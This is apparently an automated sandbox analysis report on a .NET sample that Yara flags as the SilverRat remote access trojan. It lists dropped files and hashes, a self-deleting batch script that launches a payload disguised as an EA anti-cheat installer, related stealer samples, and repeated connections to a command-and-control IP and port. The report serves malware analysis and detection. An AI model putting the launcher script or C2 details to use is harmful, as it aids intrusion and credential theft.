	SecuriteInfo.com.FileRepMalware.22561.28030.exe	Get hash	malicious	Python Stealer, Exela Stealer	Browse
	570ZenR882.exe	Get hash	malicious	Unknown	Browse
	Ff0ZjqSI9Y.exe	Get hash	malicious	Unknown	Browse
	SecuriteInfo.com.Win32.MalwareX-gen.3620.22364.exe	Get hash	malicious	Unknown	Browse
	EUOgPjsBTC.exe	Get hash	malicious	Unknown	Browse
	webhook.ps1	Get hash	malicious	Unknown	Browse
	sys_upd.ps1	Get hash	malicious	Unknown	Browse
	cr_asm_menu..ps1	Get hash	malicious	Unknown	Browse
141.98.102.187	cheque-000000005903.exe	Get hash	malicious	Remcos	Browse
141.98.102.187	C76CECD2DA3F218E46C4D2EC8DF95176634C13E35F885.exe	Get hash	malicious	Nanocore	Browse

Domains

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
discord.com	00514DIRyT.exe	Get hash	malicious	GO Stealer	Browse	162.159.136.232
	yuki.exe	Get hash	malicious	Luna Stealer	Browse	162.159.138.232
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	162.159.135.232
	CFuejz2dRu.exe	Get hash	malicious	Discord Token Stealer	Browse	162.159.137.232
	file.exe	Get hash	malicious	Growtopia	Browse	162.159.138.232
	file.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	gMd6of50Do.exe	Get hash	malicious	Blank Grabber	Browse	162.159.136.232
	El9HaBFrFM.exe	Get hash	malicious	Blank Grabber	Browse	162.159.128.233
	aLRjksjY78.exe	Get hash	malicious	HackBrowser	Browse	162.159.136.232
	jF5cZUXeQm.exe	Get hash	malicious	Blank Grabber	Browse	162.159.135.232

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
CLOUDFLARENETUS	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	104.26.13.205
	file.exe	Get hash	malicious	LummaC	Browse	188.114.96.3
	x8AH98H0eQ.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
	New Fax Notification.html	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	188.114.96.3
	file.exe	Get hash	malicious	Amadey, Stealc, Vidar	Browse	172.64.41.3
	x8AH98H0eQ.exe	Get hash	malicious	Unknown	Browse	104.21.56.70
	file.exe	Get hash	malicious	LummaC Stealer, Stealc	Browse	188.114.97.3
	https://qrco.de/bfYBpc	Get hash	malicious	HtmlDropper, HTMLPhisher	Browse	104.18.95.41
	file.exe	Get hash	malicious	LummaC, Stealc, Vidar	Browse	188.114.97.3
	zGHItMC5Zc.exe	Get hash	malicious	Stealc	Browse	104.21.56.70
M247GB	nsharm7.elf	Get hash	malicious	Unknown	Browse	213.182.204.57
	nshmips.elf	Get hash	malicious	Unknown	Browse	213.182.204.57
	YZFO4VTuFN.exe	Get hash	malicious	Unknown	Browse	195.206.105.42
	RAINBOW_ tlumaczenie dokumentow dostawy do CEBI PL_ 11.08.24.exe	Get hash	malicious	GuLoader, Remcos	Browse	172.94.53.170
	hich1UWLIk.elf	Get hash	malicious	Mirai	Browse	168.80.203.97
	Bot.exe	Get hash	malicious	Unknown	Browse	93.177.73.226
	Bot.exe	Get hash	malicious	Unknown	Browse	93.177.73.226
	Bot.exe	Get hash	malicious	Unknown	Browse	93.177.73.226
	Bot.exe	Get hash	malicious	Unknown	Browse	93.177.73.226
	harm5.elf	Get hash	malicious	Unknown	Browse	213.182.204.57

JA3 Fingerprints

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
3b5074b1b5d032e5620f69f9f700ff0e	ypauPrrA08.exe	Get hash	malicious	Ades Stealer, BlackGuard, VEGA Stealer	Browse	162.159.137.232
	seethebestthingswithentirelifetaggreatwithmebestofthem.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	162.159.137.232
	creatbesthingswithbettersytelgivenmebestthingstobe.hta	Get hash	malicious	Cobalt Strike, FormBook, HTMLPhisher	Browse	162.159.137.232
	file.exe	Get hash	malicious	LummaC Stealer	Browse	162.159.137.232
	DHL Parcel-CBM is 3.1- Total weight is 435kgs.==WOE1910053_____________________________.exe	Get hash	malicious	DarkCloud	Browse	162.159.137.232
	Purchase_order08112024_pdf.vbs	Get hash	malicious	Unknown	Browse	162.159.137.232
	WMdKM7E5Yg.exe	Get hash	malicious	Quasar	Browse	162.159.137.232
	file.exe	Get hash	malicious	PureCrypter, LummaC, Amadey, LummaC Stealer, Stealc, Vidar	Browse	162.159.137.232
	IsVcdKSMbE.exe	Get hash	malicious	Unknown	Browse	162.159.137.232
	IsVcdKSMbE.exe	Get hash	malicious	Unknown	Browse	162.159.137.232

Process:	C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	859
Entropy (8bit):	5.379735105545312
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6Khk:MxHKQ71qHGIs0HKCYHKGSI6ok
MD5:	66903BF8F31D4DE1B691C99CF8812A8A
SHA1:	6A49612CB1C2356F176B1B2E5481FB3CD0CB4289
SHA-256:	C09B65A3BA4819DAA12705C8C48400AD8F80B3B779954C14B9679396D252AF42
SHA-512:	A96F5D88E7B7A1C36D77AA9A42CA3513B70261F9B494F387A46F1DA01934E05F9659A0E8512D677DFC8602254C230CC7F370A83B916C329F908B645C5A2C247D
Malicious:	false
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\Xyq6rvzLJs.exe.log

Download File

Process:	C:\Users\user\Desktop\Xyq6rvzLJs.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	1305
Entropy (8bit):	5.376949986661823
Encrypted:	false
SSDEEP:	24:ML9E4KQ71qE4GIs0E4KCKDE4KGKZI6KhBsXE4Npp+84xp3/VclT:MxHKQ71qHGIs0HKCYHKGSI6okHNpp+vU
MD5:	12F2EE5E3A0DB26E8E1314AA79342433
SHA1:	24FDDE745B1AC21277129001357B38CC05079277
SHA-256:	3E515165812050CFEA5D52EB95B0794A79E577AAF171B4C7FD7A32585E16C338
SHA-512:	0C887455EB381DE55764A52DA4A9F1C8884FA76AE56F49B95D20D142300D6BB7F8874099847BBEF345A4D8931E4C475AE3CE86912A346CDED68B6DEE635C5CEF
Malicious:	true
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Drawing\567ff6b0de7f9dcd8111001e94ab7cf6\System.Drawing.ni.dll",0..3,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Windows.Forms\2a7fffeef3976b2a6f273db66b1f0107\System.Windows.Forms.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Management, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_64\Syst

C:\Users\user\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	data
Category:	dropped
Size (bytes):	64
Entropy (8bit):	1.1510207563435464
Encrypted:	false
SSDEEP:	3:NlllulTkklh:NllUokl
MD5:	8F489B5B8555D6E9737E8EE991AA32FD
SHA1:	05B412B1818DDB95025A6580D9E1F3845F6A2AFC
SHA-256:	679D924F42E8FC107A7BE221DE26CCFEBF98633EA2454D3B4E0D82ED66E3E03D
SHA-512:	97521122A5B64237EF3057A563284AC5C0D3354E8AC5AA0DE2E2FA61BA63379091200D1C4A36FABC16B049E83EF11DBB62E1987A6E4D6A4BCD5DDB27E7BD9F49
Malicious:	false
Preview:	@...e................................................@..........

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_h2mtuuks.obo.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_oaq0r24n.ubs.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_p2kmyt4v.zto.psm1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_qqe3f41i.viy.ps1

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.038920595031593
Encrypted:	false
SSDEEP:	3:Si2NPqzAYMLAKVpKGOyzKtFS:SnqbKAKWGX
MD5:	D17FE0A3F47BE24A6453E9EF58C94641
SHA1:	6AB83620379FC69F80C0242105DDFFD7D98D5D9D
SHA-256:	96AD1146EB96877EAB5942AE0736B82D8B5E2039A80D3D6932665C1A4C87DCF7
SHA-512:	5B592E58F26C264604F98F6AA12860758CE606D1C63220736CF0C779E4E18E3CEC8706930A16C38B20161754D1017D1657D35258E58CA22B18F5B232880DEC82
Malicious:	false
Preview:	# PowerShell test file to determine AppLocker lockdown mode

C:\Users\user\AppData\Local\Temp\tmpF224.tmp.bat

Download File

Process:	C:\Users\user\Desktop\Xyq6rvzLJs.exe
File Type:	DOS batch file, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	174
Entropy (8bit):	5.109021136735237
Encrypted:	false
SSDEEP:	3:mKDDCMNqTtvL5oUkh4EaKC5ZceLDptCSmqRDUkh4E2J5xAInTRIJcVZPy:hWKqTtT69aZ5Gqpmq1923fTRVk
MD5:	F24FE4B9AAC744BEC4630810ACFC9BE8
SHA1:	866EA97817CB2584E762F9C7E1E1A56E80302B93
SHA-256:	83CE93E9FB70C8F519EC1DC555A5529F1CD2D95C0D7B5A99139D5A8C7637E1D7
SHA-512:	BBC1B3E6502DD152648827D9619F06B456B9F69E158F1C0C29BA7DC50608D5EF6E5285C2DF1FC6F0070E7A48AFC8C3F7C345556A036FC201ABE7EADC10329348
Malicious:	false
Preview:	@echo off..timeout 3 > NUL..START "" "C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe"..CD C:\Users\user\AppData\Local\Temp\..DEL "tmpF224.tmp.bat" /f /q..

C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe

Download File

Process:	C:\Users\user\Desktop\Xyq6rvzLJs.exe
File Type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	46592
Entropy (8bit):	5.567764905703187
Encrypted:	false
SSDEEP:	768:+bzAM+pp779X5zgiYVLWQ6l6+RULQW59Phnmz1QB6Sxy8vrI/bV:+bzAM+nrzmLl6lFGsa941Qo+y8s/bV
MD5:	5EC3267ACFD4EF36CBFB796016142892
SHA1:	3AAB068D8C443560D02E4B58CF05E8F1B6D70F93
SHA-256:	64B1F050CBE98F8ECDC56CF7FB3A2A96FDEB3D5BAD2053DB36BA12A5FE5E92BB
SHA-512:	96B707DC5BFF8E986FF65E3A1F0F07AC61A8DA7227F4754BE5A89900613615D484A1BE006A7162DD8E7AE0CC409ECEF77AE0CFE1867B7920FE2854B068827B3B
Malicious:	true
Yara Hits:	Rule: JoeSecurity_SilverRat, Description: Yara detected SilverRat, Source: C:\Users\user\AppData\Roaming\EA\$77EAAntiCheat.Installler.exe, Author: Joe Security
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 63%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....:/g.........."...................... .....@..... ....................................@...@......@............... ............................................................................................................................... ..H............text........ ...................... ..`.rsrc...............................@..@.reloc..............................@..BH.......<\...p...................................................................(t.....0..........(....-..(....(....-..(....(....+. ....(......&..(....,.(&...(....(....s......r...po.....r...pr...p(....o....o......o......o.....(....&..&..(Y...(......&..~....-........s.........~....s....(......&..(E...-.(P...(M.....&..~....(....(....+.....@....!..-........F.B.......................).....................(.....0..........(....~....(....o.........~....(....s.........(....~....(....(...

\Device\Null

Download File

Process:	C:\Windows\System32\timeout.exe
File Type:	ASCII text, with CRLF line terminators, with overstriking
Category:	dropped
Size (bytes):	60
Entropy (8bit):	4.41440934524794
Encrypted:	false
SSDEEP:	3:hYFqdLGAR+mQRKVxLZXt0sn:hYFqGaNZKsn
MD5:	3DD7DD37C304E70A7316FE43B69F421F
SHA1:	A3754CFC33E9CA729444A95E95BCB53384CB51E4
SHA-256:	4FA27CE1D904EA973430ADC99062DCF4BAB386A19AB0F8D9A4185FA99067F3AA
SHA-512:	713533E973CF0FD359AC7DB22B1399392C86D9FD1E715248F5724AAFBBF0EEB5EAC0289A0E892167EB559BE976C2AD0A0A0D8EFC407FFAF5B3C3A32AA9A0AAA4
Malicious:	false
Preview:	..Waiting for 3 seconds, press a key to continue ....2.1.0..

Static File Info

General

File type:	PE32+ executable (GUI) x86-64 Mono/.Net assembly, for MS Windows
Entropy (8bit):	5.567764905703187
TrID:	Win64 Executable GUI (202006/5) 92.65% Win64 Executable (generic) (12005/4) 5.51% Generic Win/DOS Executable (2004/3) 0.92% DOS Executable Generic (2002/1) 0.92% Autodesk FLIC Image File (extensions: flc, fli, cel) (7/3) 0.00%
File name:	Xyq6rvzLJs.exe
File size:	46'592 bytes
MD5:	5ec3267acfd4ef36cbfb796016142892
SHA1:	3aab068d8c443560d02e4b58cf05e8f1b6d70f93
SHA256:	64b1f050cbe98f8ecdc56cf7fb3a2a96fdeb3d5bad2053db36ba12a5fe5e92bb
SHA512:	96b707dc5bff8e986ff65e3a1f0f07ac61a8da7227f4754be5a89900613615d484a1be006a7162dd8e7ae0cc409ecef77ae0cfe1867b7920fe2854b068827b3b
SSDEEP:	768:+bzAM+pp779X5zgiYVLWQ6l6+RULQW59Phnmz1QB6Sxy8vrI/bV:+bzAM+nrzmLl6lFGsa941Qo+y8s/bV
TLSH:	10236B007BCD8679E6BD5B3869F1422A4AB5F1A35512E78E1CC840EB1D13BC98B817F6
File Content Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..d....:/g.........."...................... .....@..... ....................................@...@......@............... .....

File Icon


Icon Hash:	00928e8e8686b000

Static PE Info

General

Entrypoint:	0x140000000
Entrypoint Section:
Digitally signed:	false
Imagebase:	0x140000000
Subsystem:	windows gui
Image File Characteristics:	EXECUTABLE_IMAGE, LARGE_ADDRESS_AWARE
DLL Characteristics:	DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE
Time Stamp:	0x672F3ABB [Sat Nov 9 10:34:35 2024 UTC]
TLS Callbacks:
CLR (.Net) Version:
OS Version Major:	4
OS Version Minor:	0
File Version Major:	4
File Version Minor:	0
Subsystem Version Major:	4
Subsystem Version Minor:	0
Import Hash:

Entrypoint Preview

Instruction
dec ebp
pop edx
nop
add byte ptr [ebx], al
add byte ptr [eax], al
add byte ptr [eax+eax], al
add byte ptr [eax], al

Data Directories

Name	Virtual Address	Virtual Size	Is in Section
IMAGE_DIRECTORY_ENTRY_EXPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_RESOURCE	0xe000	0x510	.rsrc
IMAGE_DIRECTORY_ENTRY_EXCEPTION	0x0	0x0
IMAGE_DIRECTORY_ENTRY_SECURITY	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BASERELOC	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DEBUG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COPYRIGHT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_GLOBALPTR	0x0	0x0
IMAGE_DIRECTORY_ENTRY_TLS	0x0	0x0
IMAGE_DIRECTORY_ENTRY_LOAD_CONFIG	0x0	0x0
IMAGE_DIRECTORY_ENTRY_BOUND_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_IAT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_DELAY_IMPORT	0x0	0x0
IMAGE_DIRECTORY_ENTRY_COM_DESCRIPTOR	0x2000	0x48	.text
IMAGE_DIRECTORY_ENTRY_RESERVED	0x0	0x0

Sections

Name	Virtual Address	Virtual Size	Raw Size	MD5	Xored PE	ZLIB Complexity	File Type	Entropy	Characteristics
.text	0x2000	0xad0c	0xae00	ffde49d9a921514a8c8d614f289321f7	False	0.5044225933908046	data	5.631171167191817	IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
.rsrc	0xe000	0x510	0x600	499d86a9e6e915abb54fb551448593d5	False	0.3841145833333333	data	3.8014943442567803	IMAGE_SCN_CNT_INITIALIZED_DATA, IMAGE_SCN_MEM_READ

Resources

Name	RVA	Size	Type	Language	Country	ZLIB Complexity
RT_VERSION	0xe0a0	0x27c	data			0.449685534591195
RT_MANIFEST	0xe320	0x1ea	XML 1.0 document, Unicode text, UTF-8 (with BOM) text, with CRLF line terminators			0.5469387755102041

Network Behavior

Suricata IDS Alerts

Timestamp	SID	Signature	Severity	Source IP	Source Port	Dest IP	Dest Port	Protocol
2024-11-09T22:53:22.851817+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49710	TCP
2024-11-09T22:54:01.184035+0100	2022930	ET EXPLOIT Possible CVE-2016-2211 Symantec Cab Parsing Buffer Overflow	1	20.109.210.53	443	192.168.2.5	49942	TCP

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Nov 9, 2024 22:53:09.875349045 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:09.875411034 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:09.875483036 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:09.886169910 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:09.886192083 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.498640060 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.498729944 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:10.502698898 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:10.502712011 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.502990961 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.541981936 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:10.583336115 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.667659044 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.668133020 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:10.668154955 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.843858004 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.843924046 CET	443	49706	162.159.137.232	192.168.2.5
Nov 9, 2024 22:53:10.844125986 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:10.851605892 CET	49706	443	192.168.2.5	162.159.137.232
Nov 9, 2024 22:53:11.311963081 CET	49707	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:11.316870928 CET	29853	49707	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:11.317048073 CET	49707	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:11.319015026 CET	49707	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:11.323846102 CET	29853	49707	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:19.797689915 CET	29853	49707	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:19.797759056 CET	49707	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:19.817289114 CET	49707	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:19.820099115 CET	49709	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:19.822069883 CET	29853	49707	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:19.824978113 CET	29853	49709	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:19.825052023 CET	49709	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:19.825299025 CET	49709	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:19.830282927 CET	29853	49709	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:28.311709881 CET	29853	49709	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:28.311763048 CET	49709	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:28.317312002 CET	49709	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:28.318223000 CET	49761	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:28.322072029 CET	29853	49709	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:28.322952986 CET	29853	49761	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:28.323009968 CET	49761	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:28.323283911 CET	49761	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:28.328025103 CET	29853	49761	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:36.811523914 CET	29853	49761	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:36.811645031 CET	49761	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:36.817347050 CET	49761	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:36.818115950 CET	49808	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:36.822068930 CET	29853	49761	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:36.822875977 CET	29853	49808	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:36.823004961 CET	49808	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:36.823196888 CET	49808	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:36.827969074 CET	29853	49808	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:45.317496061 CET	29853	49808	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:45.319535971 CET	49808	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:45.333024025 CET	49808	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:45.333954096 CET	49858	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:45.337800026 CET	29853	49808	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:45.338819981 CET	29853	49858	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:45.338912010 CET	49858	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:45.339174032 CET	49858	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:45.343924046 CET	29853	49858	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:53.828082085 CET	29853	49858	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:53.828172922 CET	49858	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:53.833153963 CET	49858	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:53.834016085 CET	49907	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:53.837995052 CET	29853	49858	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:53.838794947 CET	29853	49907	141.98.102.187	192.168.2.5
Nov 9, 2024 22:53:53.838864088 CET	49907	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:53.839072943 CET	49907	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:53:53.844008923 CET	29853	49907	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:02.327749014 CET	29853	49907	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:02.327976942 CET	49907	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:02.333097935 CET	49907	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:02.334119081 CET	49954	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:02.339046955 CET	29853	49907	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:02.340261936 CET	29853	49954	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:02.340420961 CET	49954	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:02.340704918 CET	49954	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:02.346492052 CET	29853	49954	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:11.728723049 CET	29853	49954	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:11.728739977 CET	29853	49954	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:11.728806973 CET	49954	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:11.728918076 CET	29853	49954	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:11.728961945 CET	49954	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:11.729414940 CET	29853	49954	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:11.729459047 CET	49954	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:11.739362955 CET	49954	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:11.744162083 CET	29853	49954	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:11.868951082 CET	49987	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:11.873913050 CET	29853	49987	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:11.874003887 CET	49987	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:11.874306917 CET	49987	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:11.879230022 CET	29853	49987	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:20.354957104 CET	29853	49987	141.98.102.187	192.168.2.5
Nov 9, 2024 22:54:20.355051041 CET	49987	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:20.364422083 CET	49987	29853	192.168.2.5	141.98.102.187
Nov 9, 2024 22:54:20.365267038 CET	49988	29853	192.168.2.5	141.98.102.187
